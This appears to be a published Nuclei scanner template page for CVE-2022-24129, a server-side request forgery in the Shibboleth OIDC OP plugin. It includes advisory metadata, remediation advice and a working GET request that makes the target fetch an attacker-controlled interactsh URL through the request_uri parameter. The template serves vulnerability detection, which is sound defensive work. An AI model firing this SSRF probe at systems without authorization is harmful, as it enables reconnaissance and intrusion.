Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery

ID: CVE-2022-24129

Severity: high

Author: 0x_Akoko

Tags: cve,cve2022,ssrf,oidc,shibboleth,identity_provider

Description

The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.

YAML Source

id: CVE-2022-24129

info:
  name: Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests, potentially leading to unauthorized access to internal resources or information disclosure.
  remediation: |
    Upgrade to Shibboleth OIDC OP version 3.0.4 or later to mitigate the vulnerability.
  reference:
    - https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF
    - https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP
    - http://shibboleth.net/community/advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24129
    - http://shibboleth.net/community/advisories/secadv_20220131.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-24129
    cwe-id: CWE-918
    epss-score: 0.00647
    epss-percentile: 0.77074
    cpe: cpe:2.3:a:shibboleth:oidc_op:*:*:*:*:*:identity_provider:*:*
  metadata:
    max-request: 1
    vendor: shibboleth
    product: oidc_op
    framework: identity_provider
  tags: cve,cve2022,ssrf,oidc,shibboleth,identity_provider

http:
  - method: GET
    path:
      - '{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "ShibbolethIdp"
# digest: 4b0a004830460221008ab4c74f6057fb147d6583673efe3c94f440d7be8f9cee8c84064327e60cf0cc022100fbeabe934cd0fd9f2b809eccc942e6b7670a99685e635b193558c5c5b6cd85b3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-24129.yaml"

View on Github